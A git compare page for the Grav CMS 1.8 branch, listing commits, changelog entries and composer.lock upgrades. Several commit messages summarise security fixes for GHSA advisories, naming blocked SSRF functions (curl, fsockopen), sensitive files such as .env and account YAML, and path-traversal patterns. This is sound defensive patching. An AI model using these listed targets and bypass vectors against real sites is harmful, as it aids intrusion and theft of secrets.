Compare commits

...

34 Commits

Author SHA1 Message Date
Andy Miller
15cb068f95 fix for grav not picking up config + page changes
Signed-off-by: Andy Miller <rhuk@mac.com>
2025-12-12 16:29:43 -07:00
Andy Miller
d34213232b avoid mail in twig content trigger security error
Signed-off-by: Andy Miller <rhuk@mac.com>
2025-12-12 16:20:35 -07:00
Andy Miller
7a6b8a90d4 prepare for beta release
Signed-off-by: Andy Miller <rhuk@mac.com>
2025-12-08 20:46:53 -07:00
Andy Miller
306f33f4ae fixes for twig3 loader + improve recovery mode
Signed-off-by: Andy Miller <rhuk@mac.com>
2025-12-08 18:07:32 -07:00
Andy Miller
6cb8229806 fix for missing file
Signed-off-by: Andy Miller <rhuk@mac.com>
2025-12-08 10:58:46 -07:00
Andy Miller
95e285efa4 Merge branch 'performance-part-3' into 1.8 2025-12-05 21:00:33 -07:00
Andy Miller
80410dae13 opcache fix in CompiledFile
Signed-off-by: Andy Miller <rhuk@mac.com>
2025-12-05 20:59:46 -07:00
Andy Miller
fae70e5fc9 fixes #4002 - Backups blocking /var/www
Signed-off-by: Andy Miller <rhuk@mac.com>
2025-12-03 19:30:32 -07:00
Andy Miller
9d9247a32f fix false positives in Security with on_events
Signed-off-by: Andy Miller <rhuk@mac.com>
2025-12-03 14:17:17 -07:00
Andy Miller
94d85cd873 add support for environment in grav scheduler
Signed-off-by: Andy Miller <rhuk@mac.com>
2025-12-03 10:41:29 -07:00
Andy Miller
0f879bd1d4 prepare for beta.27 release
Signed-off-by: Andy Miller <rhuk@mac.com>
2025-11-30 16:17:37 -07:00
Andy Miller
fd828d452e trim down default user/config/system.yaml
Signed-off-by: Andy Miller <rhuk@mac.com>
2025-11-30 16:14:35 -07:00
Andy Miller
63bbc1cac6 flex-objects caching fix
Signed-off-by: Andy Miller <rhuk@mac.com>
2025-11-30 16:06:31 -07:00
Andy Miller
528032b11a update changelog
Signed-off-by: Andy Miller <rhuk@mac.com>
2025-11-29 21:18:57 -07:00
Andy Miller
a4c3a3af6d Add isindex to XSS dangerous tags (CVE-2023-31506 / GHSA-h85h-xm8x-vfw7)
The original CVE-2023-31506 fix missed the deprecated <isindex> HTML tag,
which can still be used for XSS via event handlers like onmouseover.

The <isindex> tag is deprecated in HTML5 and has no legitimate modern use.
2025-11-29 21:07:23 -07:00
Andy Miller
b7e1958a6e Merge branch 'fix/GHSA-4cwq-j7jv-qmwg-title-email-leak' into 1.8 2025-11-29 18:29:39 -07:00
Andy Miller
0c38968c58 Fix email disclosure in user edit page title (GHSA-4cwq-j7jv-qmwg)
Security fix for IDOR-style information disclosure where the admin
email address was leaked in the <title> tag even on 403 Forbidden
responses.

The edit view title template previously included the email:
  {{ fullname ?? username }} <{{ email }}>

Now shows only the name/username without email:
  {{ fullname ?? username }}

This prevents low-privilege users from enumerating admin email
addresses by accessing /admin/accounts/users/{username} URLs.
2025-11-29 18:27:08 -07:00
Andy Miller
9d11094e41 Merge branch 'fix/GHSA-x62q-p736-3997-GHSA-gq3g-666w-7h85-admin-security' into 1.8 2025-11-29 17:52:03 -07:00
Andy Miller
ed640a1314 Merge branch 'fix/GHSA-p4ww-mcp9-j6f2-GHSA-m8vh-v6r6-w7p6-GHSA-j422-qmxp-hv94-file-path-security' into 1.8 2025-11-29 17:45:33 -07:00
Andy Miller
e37259527d Merge branch 'fix/GHSA-662m-56v4-3r8f-GHSA-858q-77wx-hhx6-GHSA-8535-hvm8-2hmv-GHSA-gjc5-8cfh-653x-GHSA-52hh-vxfw-p6rg-ssti-sandbox' into 1.8 2025-11-29 17:30:39 -07:00
Andy Miller
3462d94d57 Merge branch 'fix/GHSA-h756-wh59-hhjv-GHSA-cjcp-qxvg-4rjm-username-validation' into 1.8 2025-11-29 17:29:15 -07:00
Andy Miller
19c2f8da76 Fix path traversal and uniqueness vulnerabilities in username validation
Security fixes for:
- GHSA-h756-wh59-hhjv: Path traversal via username during account creation
- GHSA-cjcp-qxvg-4rjm: Username uniqueness bypass

Changes:

Framework/Flex/Storage/AbstractFilesystemStorage.php:
- Added validateKey() to check for path traversal attempts
- Blocks: .., /, \, null bytes, control characters
- Added assertValidKey() public method for external validation

Framework/Flex/Storage/FolderStorage.php:
- Key validation now enforced in createRows()

User/DataUser/User.php:
- Added isValidUsername() static method for reusable validation
- Added uniqueness check in save() - blocks if user already exists
- Validation blocks: path traversal, hidden files, dangerous characters

Flex/Types/Users/UserObject.php:
- Validation now blocks hidden files (starting with .)

Added unit tests:
- tests/unit/Grav/Common/Security/UsernameValidationTest.php
- 50 tests covering path traversal, dangerous characters, and valid usernames
2025-11-29 17:25:02 -07:00
Andy Miller
a161399c84 Fix DoS via cron expressions and password hash exposure
Security fixes for:
- GHSA-x62q-p736-3997: DoS via invalid cron expression in scheduler
- GHSA-gq3g-666w-7h85: Password hash exposure to frontend

Changes:

Scheduler/Job.php:
- Added try-catch around CronExpression::factory() to prevent DoS
- Added isValidCronExpression() static validation method
- Returns null instead of throwing on invalid expressions

Scheduler/IntervalTrait.php:
- Added try-catch in at() method for graceful handling

Twig/Extension/GravExtension.php:
- Protected cronFunc() from invalid expressions

Console/Cli/SchedulerCommand.php:
- Handle null cron expressions (shows "Invalid cron" error)

Flex/Types/Users/UserObject.php:
- Override jsonSerialize() to filter out hashed_password, secret, twofa_secret
- Prevents sensitive data from being exposed to frontend/HTML

User/DataUser/User.php:
- Same jsonSerialize() override for DataUser implementation

Added unit tests:
- tests/unit/Grav/Common/Security/AdminSecurityTest.php
- 53 tests covering cron validation and password hash protection
2025-11-29 17:24:41 -07:00
Andy Miller
5f120c328b Fix file read, DoS, and path traversal vulnerabilities
Security fixes for:
- GHSA-p4ww-mcp9-j6f2: Arbitrary file read via read_file() Twig function
- GHSA-m8vh-v6r6-w7p6: DoS via malformed language code in regex
- GHSA-j422-qmxp-hv94: Path traversal in backup root configuration

Changes:

GravExtension.php - readFileFunc():
- Added realpath validation to prevent path traversal
- Blocked reading files outside GRAV_ROOT
- Blocked sensitive files: accounts/*.yaml, .env, .git, logs, backups, vendor

Language.php:
- Fixed regex delimiter in setActiveFromUri() to properly escape language codes
- Added validation in setLanguages() to only allow valid language codes
- Pattern: /^[a-zA-Z]{2,3}(?:[-_][a-zA-Z0-9]{2,8})?$/

Backups.php:
- Added path traversal protection with realpath validation
- Blocked access to system directories: /etc, /root, /home, /var, etc.

Added unit tests:
- tests/unit/Grav/Common/Security/FilePathSecurityTest.php
- 55 tests covering language code validation and regex injection prevention
2025-11-29 17:24:22 -07:00
Andy Miller
db924c4a26 Expand SSTI sandbox blacklist to block known attack vectors
Security fixes for:
- GHSA-662m-56v4-3r8f: SSTI sandbox bypass via nested evaluate_twig
- GHSA-858q-77wx-hhx6: Privilege escalation via grav.user/scheduler
- GHSA-8535-hvm8-2hmv: Context leak via Forms _context access
- GHSA-gjc5-8cfh-653x: Sandbox bypass via grav.config.set
- GHSA-52hh-vxfw-p6rg: CVE-2024-28116 bypass via string concatenation

Changes to cleanDangerousTwig():
- Added 150+ dangerous PHP functions to blacklist
- Blocked access to grav.scheduler, grav.twig.twig, grav.backups, grav.gpm
- Blocked config modification via config.set()
- Blocked user modification via grav.user.update()/save()
- Blocked context/internal access via _context, _self, twig_vars
- Blocked evaluate_twig/evaluate to prevent nested bypass
- Added string concatenation pattern detection for bypass attempts
- Blocked SSRF vectors (curl, fsockopen, stream_socket)
- Blocked file operations, serialization, reflection classes

Performance optimizations:
- Early exit if string has no Twig blocks ({{ or {%})
- Static caching of compiled regex patterns (built once, reused)
- Combined all patterns into 4 single regex operations instead of ~190 loops
- Consolidated property patterns using regex alternation groups

Added unit tests:
- tests/unit/Grav/Common/Security/CleanDangerousTwigTest.php
- 104 tests covering all GHSA advisories and dangerous patterns
2025-11-29 17:24:06 -07:00
Andy Miller
9fc1b42d59 prepare beta release
Signed-off-by: Andy Miller <rhuk@mac.com>
2025-11-29 11:02:20 -07:00
Andy Miller
c8878dfc80 upgrade to symfony 7.4 stable
Signed-off-by: Andy Miller <rhuk@mac.com>
2025-11-29 10:58:03 -07:00
Andy Miller
779661ab8a more improvements for JS minification and now pulls any broken JS out of pipeline
Signed-off-by: Andy Miller <rhuk@mac.com>
2025-11-27 20:56:07 +00:00
Andy Miller
3985638a8f more debug in the Pipeline.php to identify issues
Signed-off-by: Andy Miller <rhuk@mac.com>
2025-11-27 19:19:02 +00:00
Andy Miller
a78789b291 upgrade compoer libs
Signed-off-by: Andy Miller <rhuk@mac.com>
2025-11-24 21:05:46 +00:00
Andy Miller
caa127cd53 disallow xref/xhref in SVGs
Signed-off-by: Andy Miller <rhuk@mac.com>
2025-11-24 21:04:44 +00:00
Andy Miller
5f087d3a43 fix range requests for partial content in Utils::downloads() - Fixes #3990
Signed-off-by: Andy Miller <rhuk@mac.com>
2025-11-23 17:55:28 +00:00
Andy Miller
1bc6e5e13a prepare for beta release
Signed-off-by: Andy Miller <rhuk@mac.com>
2025-11-22 11:17:37 +00:00
Andy Miller
f339bb83c5 update composer
Signed-off-by: Andy Miller <rhuk@mac.com>
2025-11-22 11:16:08 +00:00
37 changed files with 2923 additions and 640 deletions

1
.gitignore vendored
View File

@@ -51,3 +51,4 @@ system/templates/testing/*
/user/data/recovery.window
tmp/*
/AGENTS.md
/.claude

View File

@@ -1,3 +1,56 @@
# v1.8.0-beta.28
## 12/08/2025
1. [](#new)
* Added `updates.recovery_mode` config option to enable/disable recovery mode
* Added admin blueprint toggle for recovery mode setting
1. [](#improved)
* Redesigned recovery mode screen with clearer messaging and modern UI
* Added collapsible stack trace details to recovery mode screen
* Added "Clear Recovery Mode" button that works without token authentication
* Added "Disable Recovery Mode" option to disable via config from recovery screen
* Added stack trace capture for exceptions in recovery context
* Added PHP version validation from package's `defines.php` during safe upgrade
* Added proxy methods to `Twig3CompatibilityLoader` for backwards compatibility with plugins that call loader methods directly (addPath, prependPath, getPaths, etc.)
1. [](#bugfix)
* Fixed recovery mode image path for Grav installations in subdirectories
* Fixed backup restriction preventing backups on systems with Grav installed under `/var/www` - Fixes [#4002](https://github.com/getgrav/grav/issues/4002)
* Fixed XSS false positives for legitimate HTML tags containing 'on' (caption, button, section) - Fixes [grav-plugin-admin#2472](https://github.com/getgrav/grav-plugin-admin/issues/2472)
# v1.8.0-beta.27
## 11/30/2025
1. [](#improved)
* Hardened Twig sandbox with expanded blacklist blocking 150+ dangerous functions and attack patterns
* Added static regex caching in Security class for improved performance
* Added path traversal protection to backup root configuration
* Added validation for language codes to prevent regex injection DoS
1. [](#bugfix)
* Fixed path traversal vulnerability in username during account creation
* Fixed username uniqueness bypass allowing duplicate accounts
* Fixed arbitrary file read via `read_file()` Twig function
* Fixed DoS via malformed cron expressions in scheduler
* Fixed password hash exposure to frontend via JSON serialization
* Fixed email disclosure in user edit page title
* Fixed XSS via `isindex` tag bypass (CVE-2023-31506)
* Fixed issue with FlexObjects caching [flex-objects#187](https://github.com/trilbymedia/grav-plugin-flex-objects/issues/187)
# v1.8.0-beta.26
## 11/29/2025
1. [](#improved)
* Improvements for JS minification and now pulls any broken JS out of pipeline
* Disallow xref/xhref in SVGs
* Upgraded to recently released Symfony 7.4
1. [](#bugfix)
* fix range requests for partial content in Utils::downloads() - Fixes [#3990](https://github.com/getgrav/grav-plugin-admin/issues/3990)
# v1.8.0-beta.25
## 11/22/2025
1. [](#bugfix)
* Fixed Twig version
# v1.8.0-beta.24
## 11/20/2025

343
composer.lock generated
View File

@@ -2022,16 +2022,16 @@
},
{
"name": "rhukster/dom-sanitizer",
"version": "1.0.7",
"version": "1.0.8",
"source": {
"type": "git",
"url": "https://github.com/rhukster/dom-sanitizer.git",
"reference": "c2a98f27ad742668b254282ccc5581871d0fb601"
"reference": "757e4d6ac03afe9afa4f97cbef453fc5c25f0729"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/rhukster/dom-sanitizer/zipball/c2a98f27ad742668b254282ccc5581871d0fb601",
"reference": "c2a98f27ad742668b254282ccc5581871d0fb601",
"url": "https://api.github.com/repos/rhukster/dom-sanitizer/zipball/757e4d6ac03afe9afa4f97cbef453fc5c25f0729",
"reference": "757e4d6ac03afe9afa4f97cbef453fc5c25f0729",
"shasum": ""
},
"require": {
@@ -2061,9 +2061,9 @@
"description": "A simple but effective DOM/SVG/MathML Sanitizer for PHP 7.4+",
"support": {
"issues": "https://github.com/rhukster/dom-sanitizer/issues",
"source": "https://github.com/rhukster/dom-sanitizer/tree/1.0.7"
"source": "https://github.com/rhukster/dom-sanitizer/tree/1.0.8"
},
"time": "2023-11-06T16:46:48+00:00"
"time": "2024-04-15T08:48:55+00:00"
},
{
"name": "rockettheme/toolbox",
@@ -2197,16 +2197,16 @@
},
{
"name": "symfony/cache",
"version": "v7.3.6",
"version": "v7.4.0",
"source": {
"type": "git",
"url": "https://github.com/symfony/cache.git",
"reference": "1277a1ec61c8d93ea61b2a59738f1deb9bfb6701"
"reference": "a7a1325a5de2e54ddb45fda002ff528162e48293"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/symfony/cache/zipball/1277a1ec61c8d93ea61b2a59738f1deb9bfb6701",
"reference": "1277a1ec61c8d93ea61b2a59738f1deb9bfb6701",
"url": "https://api.github.com/repos/symfony/cache/zipball/a7a1325a5de2e54ddb45fda002ff528162e48293",
"reference": "a7a1325a5de2e54ddb45fda002ff528162e48293",
"shasum": ""
},
"require": {
@@ -2214,12 +2214,14 @@
"psr/cache": "^2.0|^3.0",
"psr/log": "^1.1|^2|^3",
"symfony/cache-contracts": "^3.6",
"symfony/deprecation-contracts": "^2.5|^3.0",
"symfony/deprecation-contracts": "^2.5|^3",
"symfony/service-contracts": "^2.5|^3",
"symfony/var-exporter": "^6.4|^7.0"
"symfony/var-exporter": "^6.4|^7.0|^8.0"
},
"conflict": {
"doctrine/dbal": "<3.6",
"ext-redis": "<6.1",
"ext-relay": "<0.12.1",
"symfony/dependency-injection": "<6.4",
"symfony/http-kernel": "<6.4",
"symfony/var-dumper": "<6.4"
@@ -2234,13 +2236,13 @@
"doctrine/dbal": "^3.6|^4",
"predis/predis": "^1.1|^2.0",
"psr/simple-cache": "^1.0|^2.0|^3.0",
"symfony/clock": "^6.4|^7.0",
"symfony/config": "^6.4|^7.0",
"symfony/dependency-injection": "^6.4|^7.0",
"symfony/filesystem": "^6.4|^7.0",
"symfony/http-kernel": "^6.4|^7.0",
"symfony/messenger": "^6.4|^7.0",
"symfony/var-dumper": "^6.4|^7.0"
"symfony/clock": "^6.4|^7.0|^8.0",
"symfony/config": "^6.4|^7.0|^8.0",
"symfony/dependency-injection": "^6.4|^7.0|^8.0",
"symfony/filesystem": "^6.4|^7.0|^8.0",
"symfony/http-kernel": "^6.4|^7.0|^8.0",
"symfony/messenger": "^6.4|^7.0|^8.0",
"symfony/var-dumper": "^6.4|^7.0|^8.0"
},
"type": "library",
"autoload": {
@@ -2275,7 +2277,7 @@
"psr6"
],
"support": {
"source": "https://github.com/symfony/cache/tree/v7.3.6"
"source": "https://github.com/symfony/cache/tree/v7.4.0"
},
"funding": [
{
@@ -2295,7 +2297,7 @@
"type": "tidelift"
}
],
"time": "2025-10-30T13:22:58+00:00"
"time": "2025-11-16T10:14:42+00:00"
},
{
"name": "symfony/cache-contracts",
@@ -2375,16 +2377,16 @@
},
{
"name": "symfony/console",
"version": "v7.3.6",
"version": "v7.4.0",
"source": {
"type": "git",
"url": "https://github.com/symfony/console.git",
"reference": "c28ad91448f86c5f6d9d2c70f0cf68bf135f252a"
"reference": "0bc0f45254b99c58d45a8fbf9fb955d46cbd1bb8"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/symfony/console/zipball/c28ad91448f86c5f6d9d2c70f0cf68bf135f252a",
"reference": "c28ad91448f86c5f6d9d2c70f0cf68bf135f252a",
"url": "https://api.github.com/repos/symfony/console/zipball/0bc0f45254b99c58d45a8fbf9fb955d46cbd1bb8",
"reference": "0bc0f45254b99c58d45a8fbf9fb955d46cbd1bb8",
"shasum": ""
},
"require": {
@@ -2392,7 +2394,7 @@
"symfony/deprecation-contracts": "^2.5|^3",
"symfony/polyfill-mbstring": "~1.0",
"symfony/service-contracts": "^2.5|^3",
"symfony/string": "^7.2"
"symfony/string": "^7.2|^8.0"
},
"conflict": {
"symfony/dependency-injection": "<6.4",
@@ -2406,16 +2408,16 @@
},
"require-dev": {
"psr/log": "^1|^2|^3",
"symfony/config": "^6.4|^7.0",
"symfony/dependency-injection": "^6.4|^7.0",
"symfony/event-dispatcher": "^6.4|^7.0",
"symfony/http-foundation": "^6.4|^7.0",
"symfony/http-kernel": "^6.4|^7.0",
"symfony/lock": "^6.4|^7.0",
"symfony/messenger": "^6.4|^7.0",
"symfony/process": "^6.4|^7.0",
"symfony/stopwatch": "^6.4|^7.0",
"symfony/var-dumper": "^6.4|^7.0"
"symfony/config": "^6.4|^7.0|^8.0",
"symfony/dependency-injection": "^6.4|^7.0|^8.0",
"symfony/event-dispatcher": "^6.4|^7.0|^8.0",
"symfony/http-foundation": "^6.4|^7.0|^8.0",
"symfony/http-kernel": "^6.4|^7.0|^8.0",
"symfony/lock": "^6.4|^7.0|^8.0",
"symfony/messenger": "^6.4|^7.0|^8.0",
"symfony/process": "^6.4|^7.0|^8.0",
"symfony/stopwatch": "^6.4|^7.0|^8.0",
"symfony/var-dumper": "^6.4|^7.0|^8.0"
},
"type": "library",
"autoload": {
@@ -2449,7 +2451,7 @@
"terminal"
],
"support": {
"source": "https://github.com/symfony/console/tree/v7.3.6"
"source": "https://github.com/symfony/console/tree/v7.4.0"
},
"funding": [
{
@@ -2469,7 +2471,7 @@
"type": "tidelift"
}
],
"time": "2025-11-04T01:21:42+00:00"
"time": "2025-11-27T13:27:24+00:00"
},
{
"name": "symfony/deprecation-contracts",
@@ -2540,16 +2542,16 @@
},
{
"name": "symfony/event-dispatcher",
"version": "v7.3.3",
"version": "v7.4.0",
"source": {
"type": "git",
"url": "https://github.com/symfony/event-dispatcher.git",
"reference": "b7dc69e71de420ac04bc9ab830cf3ffebba48191"
"reference": "9dddcddff1ef974ad87b3708e4b442dc38b2261d"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/symfony/event-dispatcher/zipball/b7dc69e71de420ac04bc9ab830cf3ffebba48191",
"reference": "b7dc69e71de420ac04bc9ab830cf3ffebba48191",
"url": "https://api.github.com/repos/symfony/event-dispatcher/zipball/9dddcddff1ef974ad87b3708e4b442dc38b2261d",
"reference": "9dddcddff1ef974ad87b3708e4b442dc38b2261d",
"shasum": ""
},
"require": {
@@ -2566,13 +2568,14 @@
},
"require-dev": {
"psr/log": "^1|^2|^3",
"symfony/config": "^6.4|^7.0",
"symfony/dependency-injection": "^6.4|^7.0",
"symfony/error-handler": "^6.4|^7.0",
"symfony/expression-language": "^6.4|^7.0",
"symfony/http-foundation": "^6.4|^7.0",
"symfony/config": "^6.4|^7.0|^8.0",
"symfony/dependency-injection": "^6.4|^7.0|^8.0",
"symfony/error-handler": "^6.4|^7.0|^8.0",
"symfony/expression-language": "^6.4|^7.0|^8.0",
"symfony/framework-bundle": "^6.4|^7.0|^8.0",
"symfony/http-foundation": "^6.4|^7.0|^8.0",
"symfony/service-contracts": "^2.5|^3",
"symfony/stopwatch": "^6.4|^7.0"
"symfony/stopwatch": "^6.4|^7.0|^8.0"
},
"type": "library",
"autoload": {
@@ -2600,7 +2603,7 @@
"description": "Provides tools that allow your application components to communicate with each other by dispatching events and listening to them",
"homepage": "https://symfony.com",
"support": {
"source": "https://github.com/symfony/event-dispatcher/tree/v7.3.3"
"source": "https://github.com/symfony/event-dispatcher/tree/v7.4.0"
},
"funding": [
{
@@ -2620,7 +2623,7 @@
"type": "tidelift"
}
],
"time": "2025-08-13T11:49:31+00:00"
"time": "2025-10-28T09:38:46+00:00"
},
{
"name": "symfony/event-dispatcher-contracts",
@@ -2700,16 +2703,16 @@
},
{
"name": "symfony/http-client",
"version": "v7.3.6",
"version": "v7.4.0",
"source": {
"type": "git",
"url": "https://github.com/symfony/http-client.git",
"reference": "3c0a55a2c8e21e30a37022801c11c7ab5a6cb2de"
"reference": "ee5e0e0139ab506f6063a230e631bed677c650a4"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/symfony/http-client/zipball/3c0a55a2c8e21e30a37022801c11c7ab5a6cb2de",
"reference": "3c0a55a2c8e21e30a37022801c11c7ab5a6cb2de",
"url": "https://api.github.com/repos/symfony/http-client/zipball/ee5e0e0139ab506f6063a230e631bed677c650a4",
"reference": "ee5e0e0139ab506f6063a230e631bed677c650a4",
"shasum": ""
},
"require": {
@@ -2740,12 +2743,13 @@
"php-http/httplug": "^1.0|^2.0",
"psr/http-client": "^1.0",
"symfony/amphp-http-client-meta": "^1.0|^2.0",
"symfony/dependency-injection": "^6.4|^7.0",
"symfony/http-kernel": "^6.4|^7.0",
"symfony/messenger": "^6.4|^7.0",
"symfony/process": "^6.4|^7.0",
"symfony/rate-limiter": "^6.4|^7.0",
"symfony/stopwatch": "^6.4|^7.0"
"symfony/cache": "^6.4|^7.0|^8.0",
"symfony/dependency-injection": "^6.4|^7.0|^8.0",
"symfony/http-kernel": "^6.4|^7.0|^8.0",
"symfony/messenger": "^6.4|^7.0|^8.0",
"symfony/process": "^6.4|^7.0|^8.0",
"symfony/rate-limiter": "^6.4|^7.0|^8.0",
"symfony/stopwatch": "^6.4|^7.0|^8.0"
},
"type": "library",
"autoload": {
@@ -2776,7 +2780,7 @@
"http"
],
"support": {
"source": "https://github.com/symfony/http-client/tree/v7.3.6"
"source": "https://github.com/symfony/http-client/tree/v7.4.0"
},
"funding": [
{
@@ -2796,7 +2800,7 @@
"type": "tidelift"
}
],
"time": "2025-11-05T17:41:46+00:00"
"time": "2025-11-20T12:32:50+00:00"
},
{
"name": "symfony/http-client-contracts",
@@ -3621,16 +3625,16 @@
},
{
"name": "symfony/process",
"version": "v7.3.4",
"version": "v7.4.0",
"source": {
"type": "git",
"url": "https://github.com/symfony/process.git",
"reference": "f24f8f316367b30810810d4eb30c543d7003ff3b"
"reference": "7ca8dc2d0dcf4882658313aba8be5d9fd01026c8"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/symfony/process/zipball/f24f8f316367b30810810d4eb30c543d7003ff3b",
"reference": "f24f8f316367b30810810d4eb30c543d7003ff3b",
"url": "https://api.github.com/repos/symfony/process/zipball/7ca8dc2d0dcf4882658313aba8be5d9fd01026c8",
"reference": "7ca8dc2d0dcf4882658313aba8be5d9fd01026c8",
"shasum": ""
},
"require": {
@@ -3662,7 +3666,7 @@
"description": "Executes commands in sub-processes",
"homepage": "https://symfony.com",
"support": {
"source": "https://github.com/symfony/process/tree/v7.3.4"
"source": "https://github.com/symfony/process/tree/v7.4.0"
},
"funding": [
{
@@ -3682,7 +3686,7 @@
"type": "tidelift"
}
],
"time": "2025-09-11T10:12:26+00:00"
"time": "2025-10-16T11:21:06+00:00"
},
{
"name": "symfony/service-contracts",
@@ -3773,22 +3777,23 @@
},
{
"name": "symfony/string",
"version": "v7.3.4",
"version": "v7.4.0",
"source": {
"type": "git",
"url": "https://github.com/symfony/string.git",
"reference": "f96476035142921000338bad71e5247fbc138872"
"reference": "d50e862cb0a0e0886f73ca1f31b865efbb795003"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/symfony/string/zipball/f96476035142921000338bad71e5247fbc138872",
"reference": "f96476035142921000338bad71e5247fbc138872",
"url": "https://api.github.com/repos/symfony/string/zipball/d50e862cb0a0e0886f73ca1f31b865efbb795003",
"reference": "d50e862cb0a0e0886f73ca1f31b865efbb795003",
"shasum": ""
},
"require": {
"php": ">=8.2",
"symfony/deprecation-contracts": "^2.5|^3.0",
"symfony/polyfill-ctype": "~1.8",
"symfony/polyfill-intl-grapheme": "~1.0",
"symfony/polyfill-intl-grapheme": "~1.33",
"symfony/polyfill-intl-normalizer": "~1.0",
"symfony/polyfill-mbstring": "~1.0"
},
@@ -3796,11 +3801,11 @@
"symfony/translation-contracts": "<2.5"
},
"require-dev": {
"symfony/emoji": "^7.1",
"symfony/http-client": "^6.4|^7.0",
"symfony/intl": "^6.4|^7.0",
"symfony/emoji": "^7.1|^8.0",
"symfony/http-client": "^6.4|^7.0|^8.0",
"symfony/intl": "^6.4|^7.0|^8.0",
"symfony/translation-contracts": "^2.5|^3.0",
"symfony/var-exporter": "^6.4|^7.0"
"symfony/var-exporter": "^6.4|^7.0|^8.0"
},
"type": "library",
"autoload": {
@@ -3839,7 +3844,7 @@
"utf8"
],
"support": {
"source": "https://github.com/symfony/string/tree/v7.3.4"
"source": "https://github.com/symfony/string/tree/v7.4.0"
},
"funding": [
{
@@ -3859,20 +3864,20 @@
"type": "tidelift"
}
],
"time": "2025-09-11T14:36:48+00:00"
"time": "2025-11-27T13:27:24+00:00"
},
{
"name": "symfony/var-dumper",
"version": "v7.3.5",
"version": "v7.4.0",
"source": {
"type": "git",
"url": "https://github.com/symfony/var-dumper.git",
"reference": "476c4ae17f43a9a36650c69879dcf5b1e6ae724d"
"reference": "41fd6c4ae28c38b294b42af6db61446594a0dece"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/symfony/var-dumper/zipball/476c4ae17f43a9a36650c69879dcf5b1e6ae724d",
"reference": "476c4ae17f43a9a36650c69879dcf5b1e6ae724d",
"url": "https://api.github.com/repos/symfony/var-dumper/zipball/41fd6c4ae28c38b294b42af6db61446594a0dece",
"reference": "41fd6c4ae28c38b294b42af6db61446594a0dece",
"shasum": ""
},
"require": {
@@ -3884,10 +3889,10 @@
"symfony/console": "<6.4"
},
"require-dev": {
"symfony/console": "^6.4|^7.0",
"symfony/http-kernel": "^6.4|^7.0",
"symfony/process": "^6.4|^7.0",
"symfony/uid": "^6.4|^7.0",
"symfony/console": "^6.4|^7.0|^8.0",
"symfony/http-kernel": "^6.4|^7.0|^8.0",
"symfony/process": "^6.4|^7.0|^8.0",
"symfony/uid": "^6.4|^7.0|^8.0",
"twig/twig": "^3.12"
},
"bin": [
@@ -3926,7 +3931,7 @@
"dump"
],
"support": {
"source": "https://github.com/symfony/var-dumper/tree/v7.3.5"
"source": "https://github.com/symfony/var-dumper/tree/v7.4.0"
},
"funding": [
{
@@ -3946,20 +3951,20 @@
"type": "tidelift"
}
],
"time": "2025-09-27T09:00:46+00:00"
"time": "2025-10-27T20:36:44+00:00"
},
{
"name": "symfony/var-exporter",
"version": "v7.3.4",
"version": "v7.4.0",
"source": {
"type": "git",
"url": "https://github.com/symfony/var-exporter.git",
"reference": "0f020b544a30a7fe8ba972e53ee48a74c0bc87f4"
"reference": "03a60f169c79a28513a78c967316fbc8bf17816f"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/symfony/var-exporter/zipball/0f020b544a30a7fe8ba972e53ee48a74c0bc87f4",
"reference": "0f020b544a30a7fe8ba972e53ee48a74c0bc87f4",
"url": "https://api.github.com/repos/symfony/var-exporter/zipball/03a60f169c79a28513a78c967316fbc8bf17816f",
"reference": "03a60f169c79a28513a78c967316fbc8bf17816f",
"shasum": ""
},
"require": {
@@ -3967,9 +3972,9 @@
"symfony/deprecation-contracts": "^2.5|^3"
},
"require-dev": {
"symfony/property-access": "^6.4|^7.0",
"symfony/serializer": "^6.4|^7.0",
"symfony/var-dumper": "^6.4|^7.0"
"symfony/property-access": "^6.4|^7.0|^8.0",
"symfony/serializer": "^6.4|^7.0|^8.0",
"symfony/var-dumper": "^6.4|^7.0|^8.0"
},
"type": "library",
"autoload": {
@@ -4007,7 +4012,7 @@
"serialize"
],
"support": {
"source": "https://github.com/symfony/var-exporter/tree/v7.3.4"
"source": "https://github.com/symfony/var-exporter/tree/v7.4.0"
},
"funding": [
{
@@ -4027,7 +4032,7 @@
"type": "tidelift"
}
],
"time": "2025-09-11T10:12:26+00:00"
"time": "2025-09-11T10:15:23+00:00"
},
{
"name": "symfony/yaml",
@@ -4228,12 +4233,12 @@
"source": {
"type": "git",
"url": "https://github.com/getgrav/Twig.git",
"reference": "5a01e60e351f4c8d41765970c412d2500288339b"
"reference": "62c58c8977110b2be0e30362f381aa30cc2d2db5"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/getgrav/Twig/zipball/5a01e60e351f4c8d41765970c412d2500288339b",
"reference": "5a01e60e351f4c8d41765970c412d2500288339b",
"url": "https://api.github.com/repos/getgrav/Twig/zipball/62c58c8977110b2be0e30362f381aa30cc2d2db5",
"reference": "62c58c8977110b2be0e30362f381aa30cc2d2db5",
"shasum": ""
},
"require": {
@@ -4293,7 +4298,7 @@
"support": {
"source": "https://github.com/getgrav/Twig/tree/3.x"
},
"time": "2025-11-21T11:38:05+00:00"
"time": "2025-11-21T12:04:18+00:00"
},
{
"name": "willdurand/negotiation",
@@ -4664,16 +4669,16 @@
},
{
"name": "codeception/lib-web",
"version": "2.0.0",
"version": "2.0.1",
"source": {
"type": "git",
"url": "https://github.com/Codeception/lib-web.git",
"reference": "f901da66668ddaeb8bb9dd2b1e8b19dd83e96b99"
"reference": "bbec12e789c3b810ec8cb86e5f46b5bfd673c441"
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/Codeception/lib-web/zipball/f901da66668ddaeb8bb9dd2b1e8b19dd83e96b99",
"reference": "f901da66668ddaeb8bb9dd2b1e8b19dd83e96b99",
"url": "https://api.github.com/repos/Codeception/lib-web/zipball/bbec12e789c3b810ec8cb86e5f46b5bfd673c441",
"reference": "bbec12e789c3b810ec8cb86e5f46b5bfd673c441",
"shasum": ""
},
"require": {
@@ -4681,7 +4686,7 @@
"guzzlehttp/psr7": "^2.0",
"php": "^8.2",
"phpunit/phpunit": "^11.5 | ^12",
"symfony/css-selector": ">=4.4.24 <8.0"
"symfony/css-selector": ">=4.4.24 <9.0"
},
"conflict": {
